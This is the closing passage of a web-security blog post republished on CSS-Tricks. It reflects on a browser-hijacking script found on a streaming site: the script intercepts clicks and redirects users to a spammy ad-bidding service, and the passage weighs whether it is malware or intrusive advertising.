This is a strange script, in some respect. It seems that it has been created to take total control of the user’s browser, and to redirect the user to a specific target page. Theoretically, this script could arbitrarily inject other malicious scripts like keyloggers, cryptominers, etc., if it chose to. This kind of aggressive behavior (taking control of all links, intercepting all clicks on videos and other interactive elements, injecting PDFs, etc.) seems more typical of a malicious script that has been added to a website without the website owner’s consent.
However, after more than a month since I first found it, the script (in a slightly different version) is still there on the original website. It limits itself to intercepting every other click, keeping the original website at least partially usable. It is not that likely that the website’s original owner hasn’t noticed the presence of this script given that it’s been around this long.
The other strange thing is that this script points to what is, in all respects, an ad bidding service, though one that serves very spammy clients. There is at least one major exception: the aforementioned famous betting company. Is this script a malicious script which has evolved into some sort of half-legitimate ad serving system, albeit a very intrusive one? The Internet can be a very complicated place, and very often things aren’t totally legitimate or totally illegal — between black and white there are always several shades of grey.
The only advice I feel I can give you after analyzing this script is this: the next time you feel the irresistible urge to watch a table tennis match online, go to a legitimate streaming service and pay for it. It will save you a lot of hassles.
The post Anatomy of a malicious script: how a website can take over your browser appeared first on CSS-Tricks.